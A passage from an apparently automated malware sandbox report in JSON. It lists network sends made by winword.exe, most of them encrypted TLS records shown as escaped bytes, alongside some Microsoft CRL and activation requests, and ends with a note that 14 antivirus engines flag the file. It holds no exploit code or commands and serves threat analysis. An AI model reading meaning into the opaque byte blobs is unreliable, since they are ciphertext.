  760. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04?}}\\xfb\\xe9\\xaa\\x92~rnykc\\x050@\t]\\xa9\\xd7.\\x1aix(\\xab\\xfb\\\\xf5\\xbbe;\\xff[\\xd1\\x0frv<o\\x91\\xa2r\\xa0s\\x91z\\x9b\\x99^\\x9coq\\xe9q\\xe7\\xf3\\xca\\xd7\\x1di.\\x98\\x9d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1d\\xf3\\xa7\\x8f4jw-\\xd0'\\x00@\\xdd\\xe1j$\\xaa\\xf9\\xcec\\x01\\xea\\xeb\\xc3\\x00\\x93\\x98h\\xca\\xc3i\\x94=\\xd5\\x93z\nd{&\\xb7s\\xb5o4\\x8cj\\xb6"
  761. },
  762. {
  763. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82su\\xca\\x13\\xde$\\x051\\x06\\x1c\\xd7\\xdc\\x03\\xac\\x04\t\\xf7\\x0c#\\xbco\\xaa\\xd0\\x154de\\x10\\xd8\\xb9\\xf39\\xa2c\\x18\\xc3\\x19\\x97}t\\x8c\\x80\\xf09\\xf6\\x1ad\\xa6^\\xd8\\x1c\\xf5q\\xa4u\\xa7\\xce\\xa8\\xc7\\xf0\\x07si\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1a\\x8da\\xcb\\xcbd\\x03\\xdff\\x97\\xa0\\xdc\\x0e\\xde\\x80\\xbc\tfm\\x04\\x94g\\xc6\\xbdi\\xc1\\xday\\x91\\xe15\\xefvy\\xe3\\x87\\x88\\x9e]\\xeb\\xaa\\xea\\x94\\xa0\\x90\\xd1\\xb2"
  764. },
  765. {
  766. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3\\xa6\\x0cs\\xd0\\xc0\\xa6\\xa5\\xa3!\\xc2\\xf3$\\xdc\\xb2\\x11\\x1e~k\\xeb\\x078\\xa3\\x08|&\\xba\\xcdn\t\\x19\t3\\x16'\\x0b6\\xeee}\"\\x93\\x1an\\xdb\\xec\\x1b;\\xd1n\\xe2\\x9d\\xd6\\x9c\\xb8\\xf0\\x8c\\xf2\\xe8j\\xb4\\\\x07\\x9b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe8\\xe4y\\xfd\\x80\\xee\\x15\\xb2\\xb77.'0xt\\x89i\\xd63\\xb3\\xf6\\x8dx\\x9e\\xd2\\x0c\\x0b\\x11hf\\x7f\\xfc\\x80\\xde[\\xc2n\\x16\\xa2\\xd69\\xd6\\xd4nu\\xe19["
  767. },
  768. {
  769. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x13\\x8b\\xa0\\xe5\\xd6f\\xce{\\x14n\\x9c\n\\x10bk\\x1d}\\x83k8\\xba\\x82\\x058f\\x1d\\xeby\\xcd\\xd6\\xf9\\xa2<\\x8c\\x8c\\xc1\\xa3t\\x1f`k\\x82\\x0b\\x87\\xc6\\xcc\r\\x08p\"\\x0bo\\xac\\x99\\x9b\\xac\\x08\\xd6n\\xaa\\xcfs[\\xa2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000/e\\x7f\\xca\\x16\\x8a/\\xd0t\\xf91o8\\xce\\x01\\xe1\\x87\\xba\\xce\\xf6\\xaa\\x89\r\\xde\\x9c\\x90\\xdf\\xbc\\x9e\\xf4\\xa3\\x8c\\x0206\\xaa\\xa9\\x82\\xf9\\x83\\xad.\\x9b\\xf1\\xa6_\\xc0\\xda"
  770. },
  771. {
  772. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb2\\x1d\\x8b\\x98].l\\xc2@\t\\x13\\xc2w\\xa2v\\x8cue\\xcff\\xb0*z\\xf5\\x04\\xdf\\x80\\xd9\\x8a\\x9ai$\\x9a\\xb9\\xbd\\x8b\\xa9w\\x9d\\x06|\\xa0\\xa1\\xdf\\x15\\xbb\\xe8\\xd3\\xbb\\xa6\\x7f\\x95h\\xf1!\\xd9^\\xef\\xee\\xc5b\\xf1d\\x86)\\x85\\xb2\\xb3j\\xf1u\\x07\\x89\\xec.mr\\x12`\\x8b?\\x14ru\\xbd}\\xde\\xc2\\x85\\xd1(\\x98\\xcb\\xf5\\xb9\\x83\\x82\\xec\\x89%o\\x00\\x97\\xb7`\\xee\\x84\\xaf\\xa2#\\x06\\x1d\\xbc\\x85\\xe1\\xbf\\xdc\\xd4\\xa0\\x0c\\x85\\x97\\xe7/f\\xc5\\x934\\x96\\x82l\\xfc\\x0cb\\x05q\\xec\\xa7\\xc1!f\\x08\\x1d\\x11\\xcb)\\xe3\\xde\\xca\\xc9d\\xf00\\xc7\\xb3hw\\xe2\\x03\\x08h.h\\xdd\\xe9\\xd4d\\xbd-\\xb8\\xc7+\\xdd\\xed\\xc8l\\x82b\\xd4\\xba\\xee\n\\xc2\\xeeys\\xfa\\xce\\xf6\\xe6h\\xa0\\xc1(\\x90b\\xfeb\\xf3=\\xbc\\x05\\xbc\\xa7\\xa9\\xdf\\xb3\\xfa\\x7f%\\xa7/?\\x99\\xdd\\x8d \\x08}\\x9eg\\xcau \\xca;~\\x96\\xc9_\\x9d\\x03\\xf5f\\xb7\\a@\\xd7\\xd2\\xd7\\x0f\\x95{\\x08\\xd2\\x18\\x80/z\\x9e"
  773. },
  774. {
  775. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010,\\xf9\\x9e\\xa0%\\xb79\\x07}\\xd3\\xc2\\xe4\\xa7\\xb06\"\\x1f\\x1b`\\x08\\xc7\\x07s\\xac3ch\\xf6\\xec\\x9fi\\xe5\\xfc\\x80\\xe5`'\\xcd\\x84\\x93\\xe6\\x8f\r\\x8b\\xa7\\xc2\\xaco`/@\\x13i\\xa2\\x02y\\x9c7j\\xc8\\xdd\\xd9\\xfd\\x81\\xdey\\x1b\\x82l\\xf1\\xb4\\x94\\xc6\\xbe\\xdcgj\\x1d>\\x8a\\x8f'\\x0cd\\xb1\\xa4\\x13h+)p\\xec0\\xef@g\\xa18\\xd2\r=\\x1b\\xc2&;\\xd3f\\xe8\\xf2\\x08\\x96x5\\xa2r\\xa2n\\xb1=\\xab>\\xcbz\\x85\\xa5'\\x18\\xbf\\x15m\\xf1(g\\xc0\\xb1tsp\\xe0\\x1djp\\x16\\x84\\xcd\\xb3\\x18\\xfc\\xaa\\xe5\\x8avs\\xa0\\xd5\\xc9\\xa7|\\xe3\\xba7\\xa5\\xcb\\xder\\xb0y\\xf9\\xf4\\x10`\\xd9\\xf4)\\xdcl\\xa9\\xf9\\xfe\\x0e\\xf8y\\xd2\\xe0\\x19\\xb6j\\xfe\\xe6\\x1d\\xf5i\\x17(\\xf5c\\xbfg\\xe5\\xef\\xc5\\xf4\\xdc\\xc5\\xd0\\x82\\xed)\\xbd>\\xaa\\xb6\\xbex\\x97/\\x0b\\xe3\\xf5\\x82uxc\\xa8\\xdb\\xa2l\\x85_\\x05m\\xdcsb\\xdcs\\x1d\\xce4\\x8f\\x89+/\\xc0,g\\xf4\\x9b\\x95\\xe5g"
  776. },
  777. {
  778. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x96\\x0e\\xf3\\x16\\xf9\\x83g\\xde\\x0bcfu\\xc7\\x8e\\x1c_\\x96\\x01\"0x\\x89\\xe1\\x83\\x9d\\xe9\\x9d\\xe9)w\\xeb\\x7f\\xbf%b\\x00r@d\\xc0\\x00+$d\n\\xe4\\xab',\\x0f\\xe4\\xe1i\\xf0[o^d\\x9c\\xffmb\\x83\r\\x05\\x97\\xf5\\xd74&%yuq\\xf6\\x82\\x16\r\\xb3\\x10\\x03\\xb2\\xfb\\xe1\\x08\\xcd< \\xc6\\x1c'\\xf7\\xbb*ct@\\x12\\xd7j\\x16\\x8f\\xb0\\xe0\\xcf\\x13\\x1b\\xec\\x97\\xe6f\\x8bl\\xf9\\xc0d\\xcf5c\\xa8\\xe7\\x1c\\xe2o\\xe3\\xee\\xdd\\xc3\\xfd\\x8c6'\"ff;\\xb2bi \\x0e\\x0b\\xf1\\xe6\\xed\\x92\\xd0\\xd9\\xc4vi/\\xda\\x8ce.\\xc2\\x9f\\xa7%i\\xee\\xe0\\xdf\\xed\\xc3a\\xece0&\\xa5\\xb6\\x94\\xcb\\xc57\\xd1x\\w\\xbc>2\\xa9\\x8f\\x00\\x8a\\x13z\\xcf\\x7fi-\\xd3\\xdeu\\x93\\xa9y\\xa3\\xbbzf\\xda\nk\\x95\\xb3\\x8f\\xc1\\xd4,\\x94\\xc0\\\\xddl\\x11\\xddk\\xda\\xb9\\xf3v\\xbc\\x13\\xd4\\xc70\\xf6\\x99\\xfai\\x16u\\x99t\\xf5\\xa8\\xd9\\xba\\x90q\\xa6\\x02\\xa0\\xfaqqp"
  779. },
  780. {
  781. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe9p\\xa0\\xf6\\x93)\r\\xf1[r\\x07x*\\xa4n\\xbe\\xd5\\xdf\\xd4b\\xea\\x8en\\x9eu/\\xa5}\\xdd\\xce\\x87\\x82\\x9a\\xba\\xbf\\xc8\\xf2\\xcb\\xdd\\xd0\\xb2<\\x9d\\x12fl2\\xb5\\x1dung\\xdf3\\xf8a\\x89\\xa0:\\xfd%~\\x10[,p\\x0bq\\x85\\xe7;~\\x04c\\x0f\\xc9\\xc2\\x8d\\xbf\\xaa3h\\xc1\\xb4\\x10*\\xc8'\\x1b\\xeb\\xbf\\x10\\x16\\xcf\\xe277jwovozx\\xcf\\x9dj$\\xe4:z#\\xdd\\xc4\\xce\\x044f\\xef\\xe2\\x05~5\\xa1m=ku'>*\\xae\\xfc\\xad\\xd7:\\xeb2\\x9f#\n\\xeb<!\\xfe\\xdb\\x8b6u\\xc9y'<\\x83\\x89i\\xde\\xd5sq\\xee\\xfd2i\\xd9q\\xba!\\x8f]<\\xbd\\x19\\x9e\\xf1\\xe5oy\\x0c\\x10\\xaet\\xb4\\x98\\x8dj`s\\xafj\\x83\\xfa}\\xfb]\\xaf\\xa3\\xa1\\xc26i\\xf2\\\\x1b\\xb7s\\xd6\\xa0\\xeb=\\x1f\\x8ea:\\x1a*<\\xdf\\x1dwz\\xa4\\x9b\\xc0\\xc7\\x00\\xb8\\x81\\xa2\\xb4m\\xe2e\\x15^gj\t\\xa5\\xb85t\\x8adg\\xa5\\xf4\\\\x90t^"
  782. },
  783. {
  784. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc6\\xac\\x00\\xcf\\x9b\\x90\\x87\\x1e\\xe3&\\xb9\\x1d\\xc9o\\x00\\xee\\xad\\x89\\x0f\\xd4]wz3~k\\xf5\\x1f\\x0fs\\xaf-\\x10*$\\x97\\x88b\\x9d\\x9b,\\x88\\xd7\\xd2+\\xc84\\xd7\\xddn\\xec\\x06\\xaf!\\xa4\\x82\\xdc\\xc1\\xc5i\\x18\\x82dnco\\x1a\\xf4m\\x80rt\\x8a\\x82\\xe2y:\\x0f\\xe2\\xd7\\xa7q,q\\xa2\\xce\\xa68\\xf0\"t\\xfe\\x8e\\xa18\\x19\\x9a\\x86?\\xbc\\\\xd5\\xb7\\x8f\\xf0\\xe0f<\\xd4\\xda[\\xa3x\\xc5\\xc2^\\xe4$>\\x10\\x1dkb\\xab\\x98\\xb7\\xd6\\xb4\\xaf\\xb0\\xb7\\xd5\\x15\\x94%6\\x90#\\xf9\\x93l@e\\xad\\xd2\\x1c\\xfey\\x1f`\\x1e\\x98\\xc2\\xc5\t\\xd0i\\x1c~\\xcdv\\xe4\\xa9so\\x03c\\xf8\\xbe\\x14\\xff>;$\\x9f:\\xfd\\xe6\\xaa\\xdee\r/?\\x07\\x04\\xa2\\x94\\xc9\\x1c\\x85\\xacg\\xad\" f\\xa15s4\\x1b&\\x94\\xa4*eo(\\xca\\x9c\\xe6\\x05\\xcc\\xed\\xa3\\x0e\\xb4\\x90\\xdb\"`\\x8bi\\xf0}\\x9657m\\x8c\\x9c\\x8c \\xbd\\xc98\\x86\\xad\\x19\\x88\\\\x05\\xb6\\x8ean\\xb8k\\xa0\\xa1"
  785. },
  786. {
  787. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xfb\\x88\\xa5$\\xc11\\xac\\xca\\x87\\x17\\xc3d(^\\x00\\x87\\xaa\\x94\\xa6\r%\noz\\xc1=\\xd9\\xda\\x99\\x1d\\xfa\\xe0\\xc1\\xba\\x1a\\xcb(\\xad\\xbc\\xfb\\x18\\x81a]<k\\xa0g\\x11h\\\\x01i\\xb4\\xe5\\xd9x\\xd8e\\xa5jm\\xe7\tg\\xbf\\xa73\\xb3\\xcc\\xa3\\xaa\\x19ke\\xf0\\xacqs\r~\\xee\\x84y\\xfa\\xeawj\\x0e6\\x1d4\\xedwl\\xa1@@\\xab\\x1c\\x93(\\x03[,w>e\\x85\\x1f\\xf9f\\xc2\\xf4r\td\\xc3\\xd2\\xc9\\xbd\\xfa(czp-\\xa1\\xe2j\\xbe\\x11\\x99\\xdc.\\xe1\\x0b=\\xb3t\\x88+\\xa3rs\\xddz\\x1b\\x0b\\x0f\\xf7\\xa2\\x1a\\x8c\\x9e|\\x18\\xe4h\\xeb\\x18\\xe8\\x12|m\\x89\\x83\\x99u?\\x92\\xd0\\x12\\x81i+\\xed\\xe8\\x90\\xcf4n\\x06<\\x13\\xbe3]6\\xbd.h\\xf6\\x9d\\x8c\\x94}\\x98\\xa3n\\xa9cj\\xb8[r\\x16\\xe0\\x16\\xad\\x02)yb\\xffq\\x07o\\v\\xa2\\x0c\\xb68\\x1bc\\xdf\\x96\\xda\\xe6\\xa7\\x7f\\x1b\\xf4\\x8c\\xf1gv\\x1a\\xc2\\xc9\\xf5~j\rz\\x9c\\xb4y\\x9bf"
  788. },
  789. {
  790. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\xb5j\\xe2\\xaet\\xe9\\xbb\\xae\\xfe]\\x8f)a\\xb9\\xb7\\xc3{\\x89\\x04\\sn\\xf9\\x83\\xe4\\x8bvsd\\x08\\x86\\xf3\\x92\\x14\\x92\\x1d]e0\\xaa\\xfa\\x91\\xd55\\xbbo\\xd4^vz\\xc8\\xfc^\\x1by~\\xb3\\xcf\\x03\\xacwbst\\xe2\\xa5\\xbdj\\xf6\\xf0\\xc7\\x1a\\xacf\\xb0%1k\\xf0\\xd7/\\xf6\\xed\\xfc\\x08\\xe3d\\xd5\\xaa\\x1dj\\xd6\\x01\\x86\\xff\\xe8py\\xb9\\xa5d`.\\xcdn\\xc9dg\\xb2u\\x82\\x88v\\xd4\\x87\\x9a\\x8emy\\x91\\xa5\\x8d\\xd0g6s4\\xfal\\xaclo\\xafx\\xff +\\xe5\\x03\\xbcn`\\xbf\\xb3:\\xd6j<~\\xc4\\xcb\\xdf\\xea\\x8f6\\xdd!\\xf1\\xd9ujl7s\\xe4\\xb1}\\xed\\x1f\\xbc\\x9f\\xa1\\x87l\\xab\\xd79\\xc2\\xca}h\\xc1\\x91\\xac\\xfa\\x06\\xfc]\\x88\\xbb\\xde\\xbcl%\\x18m\\x14\\xaf\\xe0\\xa1\\xef\\x8f7f\\x12\r\\xa0dp\\xb5\\x9b\\x1b\\xfcz\ro\\xac\\x0fu\\x00+\\xd3\\xcc9\\xbb\\x85b\\xa15\\xa0jg]\\x87\\xf9v\\x070\\xa3\\xbf`nb\\xf8\\xa1x\\x95\\xfe\\x8cf"
  791. },
  792. {
  793. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa7\\xda\\xf8>\\xbb\\xabu\\xff\\xf2\\x9e\\xa3\\xfd\\xbcmo\\xd3\\xb2o7\\xf8n~\\x1fl\\xcb\\xf1\\x8c\\x1ar\\xf6\\x14\\xa1`\\x02+d\\xb6s\\x91\\xae\\xe3\\x84jk\\xe3\\xae\\xb7\\x16\\xff\\xc4\\x82q\\xbd\\xdd\\x7f\\xe8\\x01o()\\x9e0\\x03\\x15zq?\\xa5\\xe5\\x9d7\\xa1\\xe0|\\xce\\x1d(\\x16g\\x9f\\xda*x\\x0esb\\xae\\x04+j\\x02\\xc7\\x99\\xa4u\\xac\\xab\\xf1\\xd7\\xaf8\\xb3s\\xc3p\\xfe\\xe4t\\x95\\x1apjtt\\xf7ywb\\xbd\\x8b\\xd3\\x95\\xa1\\xa9\t0\\xe0\\xe4u\\xca\\xfb\\x8ed\\xc9\\xcd\\xd3\\xdem`\\x8f\\x9c\\x0c\\xdd\\xa7\\xcc\\x03m4\\xbe\\xe9\\xb8\\x95\\xdb\\x83j_z\\x81\\xdbc\\xb7\\xfa\\x8at\\xd2\\xaa\\xaf\\x7f\\x18\\xf4\re\rk\\x8a\\xcc\\xb6\\xe9\\x04\\xcfd\\xc0\\xb6\\xe9\\xe2\\xef\\xbf5\\x95\\x06\\xb38v\\xca\\x9aq9\\x9ccp\\xe3\\xdb/\\x00\\xe9\\x82\\xae\\x9c\\xdc\\xc4w\\x9bt\\xd1\\xdfw\\xaf\\x9b\\xa8n\\x9d\\xfd,\\x9e.\\xb8\\xfa\\xcc\\xfd\\xfdt\\xbc')r\\xb5\\xcc\\xf6\\xbbi\\x88\\xe2^\\5(8p\\x85d\\xe1"
  794. },
  795. {
  796. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x12\\xc4\\x11\\x875\\xc4\\xd9\\xa0\\xb7\\x12a\\xa3\\xe0\\x04\\x82\\x95`\\xbe<\\xe5\\xf0\\xc2\\x05\\x88\\xb5\\xd5\\x1d\\x86\\x8f5\t:g\\xe1\\xf6\\xb07\\x90\\xe5\\xf3\\xf7\\xaa|\\x90\\xe7,\\x0b\\xa6!\\x81\\x0fu\\x18)\\x0c\\x1bhxm\\xc9\\x1ch\\xf1\\xf3\\xf5i\\xbd\\xf9\\xf3^\\x91\\xc7\t\\xfb\\x02r\\xf2g\\x98\\xe3/\\x0bch\\x0f\\x17h;pn\\xe1cb\\xdfz\\xb7\\x9ew\\xb6\\x8fnu6\\x8ei\\x92}\\x94x\\x90\\xad\\xea&\\xc2\\xd3\"\\xc7q\\x8f!g}\\x9d\\x0c\\x17\\x9b\\xc6b\\xc3w\\xdeg\\x84pr\\x86\\x96\\x97t\\xdf\\x05\\xe2\\xfcad\\x8bf\\xf3\\xf5b^\\xfei\\x04a\\xfb`\\x8d#\\xc8\\xae\\xc6\\x96\\x1f\\xb8t\\xc7\\x80\\xd3h\\xa0\\xb9\\xe5\"ga\\xb9y\\xad\\x1b\\x95r\\xe5\\xb2\\xfe\\xb7s\\x9f\\x99\\xdbh\\x8a\\xf6\\xee\\xa1\\xa6\\x86s\\xfag\\xa4\\x8aj\\x87}\\xad4\\xd9\\x7fo \\xa29\\xde\\\\xd1s\\xe0qw\\xdfm\\xdb3\\xb3\\x19\tk\\x86\\x90]\\x1d7\\xb1 \\x9c\\x18b\\xc7\\xe1a\\xd8\\x88d\\x91\t\\xc1\\xe7\\x96\\x12\\xde"
  797. },
  798. {
  799. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8begg\\xb9\\x0f\\x9a\\xf4\\xd1ku5\\x1a\\x03\\xc1\\xbd\\x98\\xd0\\x1a\\xbc\\x06\\x93\\xfbf\\x9au\\xe9<\\xc9 ~\\x1c\\xd3\\xaf\\xd6\\xb7\\xa3x\\x04\\xc3\\xe5\\xec\rm\\xf8\\xeb{\\xfdc\\xafw\"[s\\xd3\\xf8\\xa7w\\xb8\\xf9\\x06\\xf2\\xa1l\\xaa\\xb5^\\xe8p\\x9d\\xbd\\xc85\\xc9~\\xcawqb:\\xbbne\\x8a\\xf4\\xdf\\xd0b|\\xba\\x01q&\\xa5b\\xdcn\\x1eg\\x17\\xed\\xcf\\xa0*e\\x9ds\\xd8$3\\xcfo\\xe2\\xc3\\x84\\x08\\x93x*o\\xa2|s\\xcc\\xdd'8`s\\xcee\\xc0\\x1a\\xc9\\xd7\\xbd-\r\\xd5u\\x7fcmr\\xcd\\xc0\\xe9t\\xca\\x1e9*)b\\xa9\\xa3\\xfahi\\xa9\\x1a\\xcem\\xd9\\xa9\\x85di\\xddm\\x11\\xfe\\xfe~\\x02s;ch\\xd3j\\xdd\\xe7\\x82 *\\xd2\\x93\\xfa\\x01o\\x94\\x00\\x18\\x16\\xd4\\x84\\xe6\\xd2\\x0e\\x90'\\xa3u\\x81]\\x82\\xe9r'1[\\x0f\\x8b\\xb4\"\\x98\\xe5yb\\x9f(\\xfd~\\xcc/h\\x9f\\xcd7\\x9e\\xeb\\xf2\\xe0\\xe9v\\x9b\\xe3\\xb2\\xb6\\xff\\x93\\xfa\\xcf\\xac\\x8b\\xbd\\xc7\\xc8\\xac\\x9a"
  800. },
  801. {
  802. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  803. },
  804. {
  805. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4\\x01\\x9b\\xd3c\\xf2`\\x9au\\x8e+o\\xb3\\x04|k\\xae6\\x9e1p\\xb6\\xf7g\\x7fzt\ta\\xe6\\x9d\\x02\\xec\\x83\\xb9\\xe4\\xbd\\x9c\\xb7\\x87k\\x8f\\xd9\\xde\\xa6\\x05p\\x1b\\x81n\\xa4fx\\xec9s\\x92{m\\x97\\xde\\x80\\xef\\xa1au\\xc3\\xf1\\xf8\\xd8\\x14\\xa0\\x97\\xf5b\\xf7nyzl\\xd9u\\x8a^\\xd6^x\\xc1f\\xce\\xeb\\x08\\x1d\\x84b%\\x86v\\xeb\\x9dmxv\\xd6b\\xean\\x1fe\\xae\\xa42\\x8e\\x8c$\\xd9\\xca\\xcas\\xc2\\xb87xs \\xfd,\\x81>\\xab/v\\xe2\\xdc\\xfd6,\\x99zp\r\\xe7\\xca\\x83>\\x0b\\x03\\x1a\\x91\\(7p\\x97\\x17&\\xb5w\\x10\\xfe\\x02n\\xd0cr\\x9a~\\xa6x\\x17\\x8e\\x02en\\x82{\\x9a\\x07\\xd4\\xe4e\\xf2\\xf6\\xf3\\xb8\\xfd\\xe2\\x03\\xda\\xef9\\xdb.\\xe4\\x08`\\x88\\x96=\\xf6\\xf8\"}\\xb9\\x87#`\\x00\\xa9j\\xaf\\xa6\\xd8h\\xc6kp\\x91\\xe7\\xfeqz\\x81\\xb4\\x127\\xf3\\xe3a\\xae\\xfa\\xdc\\x07o\\xdd\\xdes\\x84i\\x16\\xfa\\x9e\"\\xd3t\\xd1\\x16\\xfa\\x8f\\xab]"
  806. },
  807. {
  808. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: wed, 22 may 2019 05:00:43 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  809. },
  810. {
  811. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  812. },
  813. {
  814. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00{\\x03\\x01]\\x07\\xee\\xc2\\x1f\\xd1\\xd9\\x7f>\\xe1a4\\xd9\\x06\\x19\\xa1\\xa3~xi\\x81\\xce\\x8bn\\xb4p\\xeb\\xf8\\x0f\\xd4\\xd1z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  815. },
  816. {
  817. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x005\\x82\\xb3\\xe3\\xd2\\xb9\\x94\\xa8y\\xc5\\xb15@\\xcd\\xa0vq\\xa1\\xc2\\xa6}\\x84[\\x92\\xdb\\x82\\x10f\\x1c\\x0e\\xb6r\\x97v\\x0b\\x88\\xd4\\xf7\\xcd\\xa7\\xfd\\xac\\x1bm7\\go\\xecu\\x9a\\xfe\\x0c\\xa0\\x80\\x9f\\x07\\xc4`\\xc5\\xa5\\xc3\\xd1\\xe9n\\xb1u\\xaa\\x86ie+\\xd4\\xc1j\\xac\\xcck'edn\\xb64}\\xec:\\xae\\xed\\xf5!\\xb7\\xbe\\x0f\\x17\\xde\\xc0de+\\xa4\\xa0\\xa2\\xd0\t\\x1b\\x10<h\\x16oo|\\xc0\\x98\\xd7%]\\x8b\\xdb\\x1e\\x10f\\x99\\xd9\\xe5\\xb4\\xea\\xc9f\\xf2\\xbb\\x86\\x1ap\\x9e\\xb8\\xe6\\xefrx\\xf4\\xb7\\xbf\\xb9l\\xa7 ?\\xd7\\xc5n\\xd5v\\xcd\\x908*\\xb4\\xa2ypa\\x97f\\xfd\\xf0!y\\xc9v\\xbas\\x99=[\\x15\\x18\\x1c\\x8bt\\x00%\\xc2\\xdb\\xe0\\x01\\x147%\\xbd\\xd3\\x12l\\x9e\r\\xaa\ru\\x95\\xe6\t\\xa0j58\\xb1\\xdd\\xe8'g\\xfd\\x8b\\xd5(\\x1e\\xb4'\\xe8\\xaef\\x89\\x1d'x\\xb8\\xeb\\xcd\\x16t\\xff\\x17\\x86\\x11\\xd1\\xf8\\x1b~\\xf7\\xc5\\x82%\\x82\\xc0\\x82"
  818. },
  819. {
  820. "http_request": "winword.exe_WSASend_\\xf8\\xc3\\xd4\\x0e\\xf0\\xbb\\xc2\\x0e\\xab\\x89\\x03\\x9cw\\xc9\\xf2\\x19\\xa0|\\xa2\\xf0\\xa1\\x96\\xd1\\xc4pz>\\x97\\xfb\\xf6\\x10\\xa4\\xfds\\xa7\\xf0\\xe5\\xf7g~\\x17\\xf6?\\xf7\\xe9*\\x85\\x04r\\xc5\\xd4\\x12\\x1a\\xfa$5\\xef\\x90\\x81x\\xcc\\x16\\xfa\\xfar\\x8d\\x91\\x9f\\xce\\x8c\\xdb\\xdd\\x9f3\\x98\\xbc\\x90\\x9bk\\xde:k&\\xc5@\\xd6\\xc8\\x9e\\xd3\\xd2e\\x1f\\xdb\\x10a\\x1ds\\xf5$\\x9f\\xa0\\xfb\\xe8\\x98\\xb5\\xfdu\\x16\\x9d3\\xf1r\\x00\\xcco\\xfd\\x98}\\x9bla\\xdd\\xc0\\xc9f\\xf7\\xcce\\xfba\\xc0\\xa6=\\x96\\x86\\x13;\\xac<i\\x03\\x1d\\xf6\\x08c$\\xdd%>\\xe5\\xd3\\xe8\\xe3(\\x00\\xc0\\xe8n\\xa9\\x1d-\\xdf\\xa8h\\x98v\\xbc\\x92\\x91v\\xb6\\x01m\\x81\\x05t\\xe6n\\xbdi\\x9d\\xeci\\x14/,\\xcb6\\xa2\\x0c\\x9f9a\\xe4t\\x89nt\\xa5\\x01\\xaf\\xf4\\x10\\x1f\\xd2p\\xbb\\xa9\\xb5\\x8f\\xda\\xcf\\xa5\\xad\\x7f\\xc6\\x18\\xe2\\x8b?\\x83w\\xa1\\x9c\\xf2_\\xb2\\xf4v\\x05\\xb6'n\\xa3\\xe3\\x90\\x92g\\xef\\x9al\\xcd\\x83\\xb0\\xc0*\\xac\\x0ey\\xf7\\xfa,'k\\x8a\\x03"
  821. },
  822. {
  823. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019pb\\xccs\\x85u^\\x9618\\x11\\xe0cd\\xb9\\xfe\\xf6ih\"\\xc9i\\xb2\\xc3\\x80\\x04s\"9\\xc5\\x1b6\\x85\\xe9\\xd8 \\x81\\x81\\xfc%|p$m\\x8a>\\x90\\x15\\xfa\\x05\"\\xf7n\\x90`\\xec\\xec\\xd9\\xb1>\\xa9\\x8eut4ixan\\xd3p\\x9e\\xe0\\xf0\\xbdp\\xe7\\x18 \\xf6\\x86%\\x03\\xd1\\xf5a\\xe0\\x87\\xc6o\\xd7\\xd0t\\x88\\xee?\\x8d\\x02e\\xdfd\\xffz\t\\xf2\\xb70\\xc7\\x13,(\\x9e\\x1f\\xc9x\\x14f\\xa5\\xcc7\\x0b\\x1a\\x81\\\\x8a\\xaev\\x1co\\xd9\n2\\xeb)\\xf8\\xa9=gi&+\\xa6\\xd6\\x81\\x1d\\xa4.\\xf3\\xea?\\xae1m\\xd7\\x93i\\x90\\xd5\\xb1z\\x9f\\xba\\xbb;q\\xf9{\\x80\\xad\\x7f\\xf0\\xbf(\\xf8\\x8c%\\xe5\\xd3\"\\xea!\\x80\\xf4\\x9f|@j>\\xfe\\x9e[\\xe4,nn\n\\x7f\\xbc\\xfa_\"4\\xfba\"\\x11\\xd5\\x93\\xe4z[\\xda\\x96\\xe8b\\xfb\\x08\\xd5\\x08\\39\\xfd1\\xf4np\\xfcbo\\x97\\xd7\\xdb\\xca\\xb6\\x05\\x14\\xe5\\xean\\xedf`\\xef'3\\xe5h\\x804df"
  824. }
  825. ]
  826. },
  827. {
  828. "Description": "File has been identified by 14 Antiviruses on VirusTotal as malicious",
